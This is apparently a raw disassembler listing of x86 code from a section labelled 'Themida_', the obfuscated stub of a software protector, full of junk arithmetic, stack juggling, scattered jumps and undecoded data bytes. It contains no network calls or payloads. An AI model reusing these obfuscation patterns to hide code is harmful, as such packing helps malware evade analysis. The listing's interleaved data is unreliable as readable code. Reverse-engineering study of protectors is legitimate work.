		dd 0E9FB87D7h, 0FFFFCF13h
; ---------------------------------------------------------------------------


loc_58F304:				; CODE XREF: Themida_:loc_594098j
		add	ebp, 3EED7CF3h
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_59297D
; ---------------------------------------------------------------------------
		dd 5205ECC0h, 0E97EB050h, 26F9h, 0FFAFA9E9h, 95B252FFh
		dd 665AD708h, 8043B252h, 0D700BBEFh, 66BBC780h,	8324148Bh
		dd 0B35302C4h, 5EF3800Ah, 0C5E9D828h, 66FFFFF4h, 634BE951h
		dd 64B30000h, 0E1E9DD00h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F35B:				; CODE XREF: Themida_:00592772j
		add	edi, 0CDF452Ch
		sub	edi, 289E164Ch
		shr	edi, 8
		neg	edi
		neg	edi
		jmp	loc_59337B
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 243C8900h, 3FDFE9h,	0F2BE6600h, 0EE816617h
		dd 1669A51h, 3AB8E9F3h,	6F210000h, 2FE95D1Ch
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F39F:				; CODE XREF: Themida_:0058D04Cj
		add	esp, 4
		add	edx, 35B56B62h
		add	edx, edi
		sub	edx, 35B56B62h
		push	ebx
		mov	ebx, 6E62DA1h
		shl	ebx, 6
		xor	ebx, 58BF62C7h
		inc	ebx
		dec	ebx
		add	ebx, 56F64658h
		add	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_592BCF
; ---------------------------------------------------------------------------
		dd 4C281h, 14870000h, 24248B24h, 0EC81C331h, 4,	0E9243489h
		dd 2B66h
; ---------------------------------------------------------------------------


loc_58F3EC:				; CODE XREF: Themida_:00591587j
		pop	ecx
		sub	ecx, ebp
		pop	ebp
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_58F8C3
; ---------------------------------------------------------------------------
aUs		db 'Uι\>',0
		align 10h


loc_58F400:				; CODE XREF: Themida_:0058E9ACj
		pop	edi
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		shl	dword ptr [esp], cl
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58F413:				; CODE XREF: Themida_:0058F743j
		add	esi, 3B0A2CEAh
		xor	esi, 37BC4C5Ch
		sub	esi, 149A35B0h
		jmp	loc_58DB4D
; ---------------------------------------------------------------------------


loc_58F42A:				; CODE XREF: Themida_:005944C3j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0E00398CEh
		sub	ecx, edi
		jmp	loc_595A83
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 5Ah
		dd 0C78A22Dh, 0C6895E14h, 8324048Bh, 740104C4h,	0E95E0424h
		dd 0FFFFAE76h, 8104EBC1h, 749650F3h, 3FB4E92Dh,	14890000h
		dd 57685124h, 591C941Fh, 0E905E9C1h, 0D6h, 1BE9E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F47E:				; CODE XREF: Themida_:00597B52j
		sub	ebp, 836A7E70h
		and	edi, ebp
		pop	ebp
		sub	edi, 63F70EB4h
		jmp	loc_592438
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FC7h, 83242C8Bh, 48F04C4h, 0D3665C24h, 0E99C243Ch
		dd 0FFFFAE22h
; ---------------------------------------------------------------------------


loc_58F4AC:				; CODE XREF: Themida_:00597111j
		pop	ebp
		jmp	loc_58D1B3
; ---------------------------------------------------------------------------


loc_58F4B2:				; CODE XREF: Themida_:0058C2CCj
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 22AA4433h
		xor	edi, ecx
		mov	ecx, [esp]
		jmp	loc_58E1EA
; ---------------------------------------------------------------------------


loc_58F4D9:				; CODE XREF: Themida_:0058D068j
		mov	ecx, 65774FFh
		inc	ecx
		jo	loc_595A16
		and	ecx, 6CA03396h
		xchg	edx, ecx
		not	edx
		jmp	loc_58B69B
; ---------------------------------------------------------------------------
		dd 582434FFh, 0E95E5456h, 0FFFFDFEDh
; ---------------------------------------------------------------------------


loc_58F500:				; CODE XREF: Themida_:0058C24Dj
		mov	esp, [esp]
		jmp	loc_595E62
; ---------------------------------------------------------------------------


loc_58F508:				; CODE XREF: Themida_:00592EE0j
		push	ecx
		mov	ecx, 5CDD7503h
		add	ecx, 0AD66C69Dh
		and	ebx, ecx
		jmp	loc_590CE7
; ---------------------------------------------------------------------------


loc_58F51B:				; CODE XREF: Themida_:0058B041j
		mov	esi, 1
		mov	ebx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_597577
; ---------------------------------------------------------------------------


loc_58F52E:				; CODE XREF: Themida_:0058C392j
		pop	ecx
		jmp	loc_58F1D3
; ---------------------------------------------------------------------------


loc_58F534:				; CODE XREF: Themida_:0059007Fj
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_591F80
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 6B3C4DD6h, 0EB81DBF7h, 0FFFFFFFFh, 7FCEE381h, 96E90FEEh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F567:				; CODE XREF: Themida_:00590D42j
		sub	eax, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_5932EF
; ---------------------------------------------------------------------------


loc_58F572:				; CODE XREF: Themida_:00596BCCj
		pop	ebx
		add	edx, ebp
		jmp	loc_590F6C
; ---------------------------------------------------------------------------


loc_58F57A:				; CODE XREF: Themida_:0058E26Aj
		dec	edx
		jnp	loc_5953A1
		dec	edx
		jg	loc_5900F4
		jmp	loc_58F677
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 4Dh
		dd 685207B4h, 216C187Ch, 0FFC23BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F59D:				; CODE XREF: Themida_:005907C6j
		xor	edi, 443EC67Ah
		sub	edx, 43F14273h
		jmp	loc_58E998
; ---------------------------------------------------------------------------


loc_58F5AE:				; CODE XREF: Themida_:0058EC7Dj
		pop	edi
		pop	dword ptr [esp]
		pop	dword ptr [edi+24h]


loc_58F5B5:				; CODE XREF: Themida_:005944E7j
		sub	esp, 4
		jmp	loc_58B690
; ---------------------------------------------------------------------------
		dd offset dword_581194+55h
		db 0
; ---------------------------------------------------------------------------


loc_58F5C5:				; CODE XREF: Themida_:00591DF1j
		sub	ebx, 2C425684h
		add	ebx, esi
		push	ebp
		jmp	loc_58D5E1
; ---------------------------------------------------------------------------


loc_58F5D3:				; CODE XREF: Themida_:00596440j
		mov	ah, 0E1h
		mov	dh, 8Dh
		xor	dh, ah
		pop	eax
		xor	dh, cl
		jmp	loc_58F219
; ---------------------------------------------------------------------------
		db 59h,	56h, 0BEh
		dd 12BA440Eh, 0FFD14BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F5ED:				; CODE XREF: Themida_:00592D40j
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	314Bh
		mov	[esp], edx
		jmp	loc_590522
; ---------------------------------------------------------------------------


loc_58F609:				; CODE XREF: Themida_:0058AD4Ej
		and	ebp, 0ECD0C66h
		jmp	loc_597634
; ---------------------------------------------------------------------------


loc_58F614:				; CODE XREF: Themida_:0058CBCCj
		sub	ecx, 31B152B2h
		jmp	loc_5911AA
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFC716E9h, 0C8B66FFh, 32616824h, 14890000h,	52CDE924h
		dd 850F0000h, 0FFFFEB11h, 8841F480h, 0DA8658E2h, 4E9D3F6h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58F64B:				; CODE XREF: Themida_:0058B7D3j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_58A6BF
; ---------------------------------------------------------------------------


loc_58F65B:				; CODE XREF: Themida_:0058B421j
		sub	ebx, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 76F94A30h
		sub	ebx, eax
		add	ebx, 76F94A30h
		jmp	loc_5923FF
; ---------------------------------------------------------------------------


loc_58F677:				; CODE XREF: Themida_:0058F588j
					; Themida_:00594006j
		push	30EAh
		mov	[esp], edx
		push	170115Fh
		pop	edx
		push	171115Fh
		mov	ecx, [esp]
		push	edx
		jmp	loc_59775B
; ---------------------------------------------------------------------------


loc_58F693:				; CODE XREF: Themida_:0058B31Cj
		push	ecx
		mov	ecx, 1
		and	eax, ecx
		jmp	loc_594144
; ---------------------------------------------------------------------------


loc_58F6A0:				; CODE XREF: Themida_:00591B3Ej
		jz	loc_58CB26
		sub	edx, 7C198C65h
		jmp	loc_597B29
; ---------------------------------------------------------------------------


loc_58F6B1:				; CODE XREF: Themida_:0058D8BEj
		jmp	loc_58FE55
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 3D0C1D82h, 8BDA0158h, 8956241Ch, 4C681E6h, 83000000h
		dd 348704C6h, 14335C24h, 24143124h, 5C241433h, 24048B66h
		dd 1D68E9h, 0CD015E00h,	73C4E959h, 0D8F70000h, 5305E0C1h
		dd 0DBFB67BBh, 5BD831EDh, 0E958C529h, 3A1Ch
; ---------------------------------------------------------------------------


loc_58F704:				; CODE XREF: Themida_:005919B8j
		shr	ebx, 2
		neg	ebx
		push	ecx
		mov	ecx, 4E0C059Ah
		sub	ecx, 1
		dec	ecx
		push	ebp
		mov	ebp, 1A5AFFD5h
		add	ecx, ebp
		jmp	loc_592469
; ---------------------------------------------------------------------------


loc_58F720:				; CODE XREF: Themida_:0059051Dj
		sub	bl, dl
		pop	edx
		add	bl, al
		add	bl, 48h
		push	edx
		push	eax
		jmp	loc_59229D
; ---------------------------------------------------------------------------


loc_58F72F:				; CODE XREF: Themida_:loc_59791Cj
		neg	ecx
		jmp	loc_595365
; ---------------------------------------------------------------------------


loc_58F736:				; CODE XREF: Themida_:00593381j
		push	15A0h
		mov	[esp], esi
		mov	esi, 32694EF8h
		jmp	loc_58F413
; ---------------------------------------------------------------------------


loc_58F748:				; CODE XREF: Themida_:0058B090j
		pop	edx
		push	ebx
		jmp	loc_58C584
; ---------------------------------------------------------------------------
		db 51h
		dd 1DD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F755:				; CODE XREF: Themida_:00592441j
		sub	edi, 152347F4h
		jmp	loc_5930F5
; ---------------------------------------------------------------------------


loc_58F760:				; CODE XREF: Themida_:00592810j
		sub	ecx, 2772EBF7h
		and	ecx, 3A3D56A7h
		add	ecx, 3404EA63h
		jmp	loc_58BAFA
; ---------------------------------------------------------------------------
		db 80h
		dd 0F12062C6h, 0E9C9FE5Ah, 0FFFFB135h
; ---------------------------------------------------------------------------


loc_58F784:				; CODE XREF: Themida_:0058DD9Bj
		sub	eax, edi
		pop	edi
		sub	ecx, 9B24B80h
		jmp	loc_592F04
; ---------------------------------------------------------------------------
		dw 60B8h
		dd 0E901D406h, 0FFFFD996h
; ---------------------------------------------------------------------------


loc_58F79C:				; CODE XREF: Themida_:0058E0A3j
		mov	dx, [esp]
		jmp	loc_5971F4
; ---------------------------------------------------------------------------


loc_58F7A5:				; CODE XREF: Themida_:0058BFDEj
					; Themida_:00594801j
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_591FFD
; ---------------------------------------------------------------------------


loc_58F7BC:				; CODE XREF: Themida_:0058CAD5j
		mov	[esp], edx
		push	ebp
		mov	ebp, 0A0A2104h
		shr	ebp, 7
		push	edi
		push	edx
		push	ecx
		push	111E12D4h
		pop	ecx
		shr	ecx, 8
		add	ecx, 5B374AF2h
		mov	edx, ecx
		pop	ecx
		jmp	loc_58DC87
; ---------------------------------------------------------------------------


loc_58F7E2:				; CODE XREF: Themida_:0058C4FAj
		pop	ebx
		jmp	loc_58A919
; ---------------------------------------------------------------------------
		dd 0FFAAE1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F7ED:				; CODE XREF: Themida_:0058AFD6j
		pop	ecx
		pop	esi
		and	eax, ebx
		jmp	loc_597A63
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0AC67E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F7FE:				; CODE XREF: Themida_:0058DD41j
		pop	esi
		push	ecx
		mov	ecx, 79E56337h
		or	ecx, 7BE60B29h
		xor	ecx, 60CF03D6h
		push	esi
		jmp	loc_58D1A1
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0E904EC83h, 7412h
; ---------------------------------------------------------------------------


loc_58F820:				; CODE XREF: Themida_:0058D3CFj
		push	359Ah
		jmp	loc_5953D4
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 16FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58F831:				; CODE XREF: Themida_:00591243j
		jmp	loc_58DB75
; ---------------------------------------------------------------------------


loc_58F836:				; CODE XREF: Themida_:0059760Ej
		push	ebx
		mov	ebx, esp
		push	1673h
		mov	[esp], eax
		jmp	loc_58ECE2
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 2DDDC381h, 830F41EAh, 601h, 87ABEB81h, 31E92963h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F85F:				; CODE XREF: Themida_:0058CEF8j
		add	al, 0D5h
		jmp	loc_5950C1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 8304C483h, 48F04C4h, 0D3665C24h, 0E99C2424h
		dd 0FFFFAA4Eh, 8924248Bh, 23B62414h, 0B551C72Ch, 1F05E9ABh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F892:				; CODE XREF: Themida_:0058AAD7j
					; Themida_:0058BD97j
		push	eax
		push	esp
		pop	eax
		jmp	loc_598028
; ---------------------------------------------------------------------------


loc_58F89A:				; CODE XREF: Themida_:00593354j
		mov	edi, 41857CC7h
		sub	edi, 6015400Fh
		sub	edi, 75D5FDB1h
		add	ebp, 21E10BF1h
		add	ebp, edi
		sub	ebp, 21E10BF1h
		pop	edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_5907CB
; ---------------------------------------------------------------------------


loc_58F8C3:				; CODE XREF: Themida_:0058F3F5j
		add	esp, 4
		jmp	loc_596655
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 5CB0E924h, 0E7C10000h, 40F78102h,	8169F64Ch
		dd 552E4BEFh, 244481BCh, 0EC0BCA08h, 29C6E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F8F2:				; CODE XREF: Themida_:00592ED3j
		add	esp, 4
		jmp	loc_58EC6C
; ---------------------------------------------------------------------------
		dw 1768h
		dd 8B6D3F79h, 0C481242Ch, 4, 8102E5C1h,	58E962F5h, 75F3E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F916:				; CODE XREF: Themida_:00592FFBj
		push	edi
		mov	edi, 1A1D0207h
		sub	edi, 0EFE6DBD5h
		jmp	loc_58C673
; ---------------------------------------------------------------------------


loc_58F927:				; CODE XREF: Themida_:0058C5E3j
		shr	eax, 2
		jnp	loc_591961
		jmp	loc_58A689
; ---------------------------------------------------------------------------
		db 5Eh,	5Dh, 1
		dd 0DD8B2404h, 0B8508CB4h, 4A2F1122h, 8E9D0F7h,	87FFFFE5h
		dd 0E95C2414h, 0FFFFDE34h
; ---------------------------------------------------------------------------


loc_58F954:				; CODE XREF: Themida_:0058D28Ej
		pop	esi
		or	eax, eax
		jz	loc_595DFB
		push	3E0Ah
		mov	[esp], edx
		push	ebx
		push	51A44F84h
		jmp	loc_58D526
; ---------------------------------------------------------------------------


loc_58F970:				; CODE XREF: Themida_:0058C17Fj
		mov	ebx, 55B82FCCh
		sub	ebx, 5CCD7ADBh
		jp	loc_58E507
		neg	ebx
		xor	ebx, 7154B0Bh
		jmp	loc_596BCA
; ---------------------------------------------------------------------------
		dw 32FFh
		dd 0FFA939E9h, 248B66FFh, 0A930E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F99E:				; CODE XREF: Themida_:00591792j
		add	esp, 4
		xor	esi, ecx
		push	dword ptr [esp]
		jmp	loc_595BE2
; ---------------------------------------------------------------------------
		dw 870Fh
		dd 0FFFFEDB9h, 8106EFC1h, 0E80F89EFh, 56EF8A71h, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 4B850h, 0C1810000h, 17AA6E21h
		dd 7F40E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F9E1:				; CODE XREF: Themida_:0058B4D1j
		pop	esi
		sub	ebx, edi
		pop	edi
		shr	ebx, 1
		sub	ebx, 0D1735182h
		add	eax, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58E77B
; ---------------------------------------------------------------------------
		db 53h,	52h, 0B6h
		dd 0B5EE8002h, 6EC38F0Fh, 0E6C00000h, 3E6C003h,	0DE8BC488h
; ---------------------------------------------------------------------------


loc_58FA20:				; CODE XREF: Themida_:00595A20j
		xchg	edx, ecx
		jmp	loc_5923CB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 0C917E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FA36:				; CODE XREF: Themida_:00591BE1j
		add	esp, 4
		add	eax, edi
		pop	edi
		xor	ecx, eax
		pop	eax
		push	ebx
		jmp	loc_58D99C
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0E6h
		dd 9152F0Eh, 0BC32E9DAh, 0EFB7FFFFh, 0FFC186E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FA59:				; CODE XREF: Themida_:0059334Cj
		not	ebp
		xchg	ebp, ecx
		jmp	loc_595B92
; ---------------------------------------------------------------------------
		dw 814Dh
		dd 3924F7CDh, 60C5817Fh, 816E616Ah, 9A995BF5h, 0D4B3E9EDh
		dd 0C8BFFFFh, 16086824h, 4890000h, 6D26824h, 24890000h
		dd 24048324h, 24048B04h, 4C481h, 0BD550000h, 6ECF6D6Ch
		dd 14A7ED81h, 0ED810089h, 325F4BD7h, 0FFE88EE9h, 0C8B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4CEA5FA3h
		dec	ecx
		neg	ecx
		neg	ecx
		xor	ecx, 4CEA5FA6h
		add	ebp, ecx
		pop	ecx
		jmp	loc_58A629
; ---------------------------------------------------------------------------


loc_58FAD1:				; CODE XREF: Themida_:00593505j
		add	esi, 0DC354A61h
		jmp	loc_594AFD
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 51000000h,	2727EB9h, 8E1C11Ah, 0AE62880Fh
		dd 0E181FFFFh, 70794FC8h, 14B7E9h, 0D2EF8100h, 5830982Dh
		dd 4261E9h, 8ABF5700h, 0E93B6C2Eh, 62B5h, 4240481h, 0FF000000h
		dd 44E92434h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FB23:				; CODE XREF: Themida_:0058D615j
		mov	edx, edi
		pop	edi
		jmp	loc_595BF2
; ---------------------------------------------------------------------------
		db 53h
		dd 4F098FBBh, 0F7F38713h, 60C7E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FB3A:				; CODE XREF: Themida_:0059112Bj
		push	6D98h
		mov	[esp], ecx
		jmp	loc_58BE3C
; ---------------------------------------------------------------------------


loc_58FB47:				; CODE XREF: Themida_:00592258j
					; Themida_:005947F0j
		push	444Fh
		push	esp
		jmp	loc_58FFA2
; ---------------------------------------------------------------------------
		dw 0D831h
		dd 0FFBA33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FB59:				; CODE XREF: Themida_:0058D182j
		add	cl, 0F9h
		mov	bh, cl
		push	dword ptr [esp]
		jmp	loc_58D24D
; ---------------------------------------------------------------------------


loc_58FB66:				; CODE XREF: Themida_:00596CF1j
		shl	ebp, 3
		not	ebp
		add	ebp, 5B9118BAh
		sub	ebp, 32077BB1h
		add	edx, ebp
		jmp	loc_597961
; ---------------------------------------------------------------------------


loc_58FB7E:				; CODE XREF: Themida_:00595AB5j
		add	ebx, esi
		pop	esi
		jmp	loc_59596D
; ---------------------------------------------------------------------------


loc_58FB86:				; CODE XREF: Themida_:0058E455j
		add	bl, 3Bh
		jmp	loc_5921E7
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 4333C681h, 0EE816CBFh, 4E855C38h, 15CC681h, 0E0683955h
		dd 89000050h, 31E92414h, 81FFFFDEh, 4E9h, 0DCC0E900h, 895CFFFFh
		dd 0E189240Ch, 4C181h, 0C1830000h, 240C8704h, 0E79685Ch
		dd 0B8E90000h, 0B9000008h, 1A247190h, 0C181D1F7h, 78DB56D1h
		dd 6497E9h, 48B6600h, 0E7895724h, 4C781h, 0EC830000h, 24148904h
		dd 6C71BF57h, 0C1E90529h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FC07:				; CODE XREF: Themida_:0058BEE8j
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		jmp	loc_593495
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 3AE9F888h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FC27:				; CODE XREF: Themida_:0058ECAAj
					; Themida_:00596CEAj
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		jmp	loc_58BB94
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 0E9242C89h, 0FFFFDC5Ah, 363EC181h, 0C38107BFh
		dd 29745327h, 0EB81CB29h, 29745327h, 0E9240C8Bh, 0FFFFE140h
		dd 0EC835552h, 24048904h, 0F13FA8B8h, 74C0E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FC72:				; CODE XREF: Themida_:0058D1C4j
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_590FFA
; ---------------------------------------------------------------------------


loc_58FC82:				; CODE XREF: Themida_:0058A5B4j
		pop	ebx
		pop	esi
		add	ebx, eax
		pop	eax
		push	edx
		push	edi
		mov	edi, 6B5762Eh
		jmp	loc_58DC29
; ---------------------------------------------------------------------------


loc_58FC93:				; CODE XREF: Themida_:00590369j
		xor	edx, 47F78C97h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		shl	edi, 3
		jns	loc_592DFF
		shr	edi, 6
		jmp	loc_58BD1E
; ---------------------------------------------------------------------------


loc_58FCB2:				; CODE XREF: Themida_:00591EBAj
		pop	edi
		dec	ebx
		sub	ebx, 0D413CFEh
		add	ecx, ebx
		jmp	loc_58C243
; ---------------------------------------------------------------------------


loc_58FCC1:				; CODE XREF: Themida_:00590218j
		dec	eax
		push	ebx
		mov	ebx, 1
		sub	eax, ebx
		jmp	loc_5914C9
; ---------------------------------------------------------------------------


loc_58FCCF:				; CODE XREF: Themida_:005909F9j
		jmp	loc_58EC9E
; ---------------------------------------------------------------------------


loc_58FCD4:				; CODE XREF: Themida_:005967EBj
		add	esp, 4
		push	ebx
		mov	ebx, 7EA356BEh
		xor	ebx, 7EA356BAh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_58B1C5
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0BCh
		dd 0E9168671h, 5B0Dh, 8108EBC1h, 1A65C5F3h, 0A7E95702h
		dd 0E9FFFFAFh, 0FFFFA5A6h
; ---------------------------------------------------------------------------


loc_58FD28:				; CODE XREF: Themida_:005962E3j
					; Themida_:00596E51j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	4D6Dh
		jmp	loc_5923C1
; ---------------------------------------------------------------------------


loc_58FD39:				; CODE XREF: Themida_:00595BDDj
		mov	[esp], ebx
		mov	bh, 0C7h
		jmp	loc_593ABC
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0C3C68088h, 8D0FC6FEh, 0FFFFF0CEh, 0FA5E680h, 655885h
		dd 34505300h
		db 89h,	8Bh, 0F8h
; ---------------------------------------------------------------------------


loc_58FD5F:				; CODE XREF: Themida_:0058D577j
		push	6865h
		mov	[esp], eax
		push	5FBh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58ED1E
; ---------------------------------------------------------------------------


loc_58FD7A:				; CODE XREF: Themida_:0059250Ej
		add	esp, 4
		shr	ecx, 6
		push	416Ch
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5943CC
; ---------------------------------------------------------------------------


loc_58FD90:				; CODE XREF: Themida_:00591AC4j
		jmp	loc_58C605
; ---------------------------------------------------------------------------


loc_58FD95:				; CODE XREF: Themida_:0058BA8Fj
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 27h
		dd 0F3D7647h, 0FFDF288Ah, 3AEB81FFh, 0E9CF1CFBh, 0FFFFBBCBh
		dd 0C3815856h, 4F21282Ch, 0EB81C329h, 4F21282Ch, 3BCBE9h
		dd 42EB8100h, 1325218h,	0E311E9DAh, 1489FFFFh, 33826824h
		dd 15A65D2h, 0D3DE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FDEA:				; CODE XREF: Themida_:005940EEj
		neg	ebp
		push	edx
		mov	edx, 51DF2AFEh
		jmp	loc_5949BA
; ---------------------------------------------------------------------------


loc_58FDF7:				; CODE XREF: Themida_:0058C712j
		pop	edi
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58FFBA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 55000000h, 0ECDEE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FE0E:				; CODE XREF: Themida_:0059408Bj
		push	edi
		jmp	loc_58B128
; ---------------------------------------------------------------------------


loc_58FE14:				; CODE XREF: Themida_:00597844j
		xchg	ecx, [esp]
		mov	esp, [esp]
		imul	cx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_58BA33
; ---------------------------------------------------------------------------
		dd 60045866h, 602CF800h, 1280E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FE39:				; CODE XREF: Themida_:loc_58B3F5j
		shl	esi, 2
		jnp	loc_597961
		sub	esi, 32A79037h
		mov	eax, esi
		jmp	loc_5904D1
; ---------------------------------------------------------------------------
		db 53h
		dd 3D06E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FE55:				; CODE XREF: Themida_:loc_58F6B1j
		sub	ebx, 296387ABh
		jmp	loc_594476
; ---------------------------------------------------------------------------


loc_58FE60:				; CODE XREF: Themida_:0058E80Bj
		jle	loc_58E6B9
		push	ebp
		mov	ebp, 148664h
		jmp	loc_58DB4D
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 5C241487h, 5604C483h, 0C681E689h, 4,	8704C683h, 835C2434h
		dd 148904ECh, 2BAEBA24h, 44811F37h, 13750424h, 6C812C9Bh
		dd 5C5A0424h, 54015E36h, 55510424h, 3B679BBDh, 0D443E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FEB6:				; CODE XREF: Themida_:005909AFj
		pop	esp
		push	esi
		push	33CD15BDh
		pop	esi
		add	ecx, 0A575744h
		jmp	loc_58A42B
; ---------------------------------------------------------------------------


loc_58FEC9:				; CODE XREF: Themida_:loc_5933C2j
		sub	ecx, 0FFE6DEC0h
		add	ecx, edx
		sub	esp, 4
		jmp	loc_596F09
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 0B4h
		dd 0E9FFFFEAh, 0FFFFB2A1h, 793EEA81h, 805C0BF8h, 0E8282CEDh
		dd 3ECEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58FEF5:				; CODE XREF: Themida_:0058A410j
		shr	eax, 0Eh
		xor	eax, ecx
		push	10BFh
		mov	[esp], eax
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 2A8F504Dh
		inc	edi
		sub	edi, 8407E49h
		or	edi, 78F95CF5h
		not	edi
		not	edi
		push	eax
		mov	eax, 7AFFDEF1h
		xor	edi, eax
		jmp	loc_58CCEF
; ---------------------------------------------------------------------------


loc_58FF50:				; CODE XREF: Themida_:00597E68j
		add	esp, 4
		or	eax, eax
		jz	loc_590010
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], ebp
		push	1E0E78C8h
		mov	ebp, [esp]
		add	esp, 4
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_592091
; ---------------------------------------------------------------------------


loc_58FF8A:				; CODE XREF: Themida_:00596662j
		pop	dword ptr [esp]
		pop	esp
		push	1D0Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_590A34
; ---------------------------------------------------------------------------


loc_58FFA2:				; CODE XREF: Themida_:0058FB4Dj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		push	ebp
		jmp	loc_591339
; ---------------------------------------------------------------------------


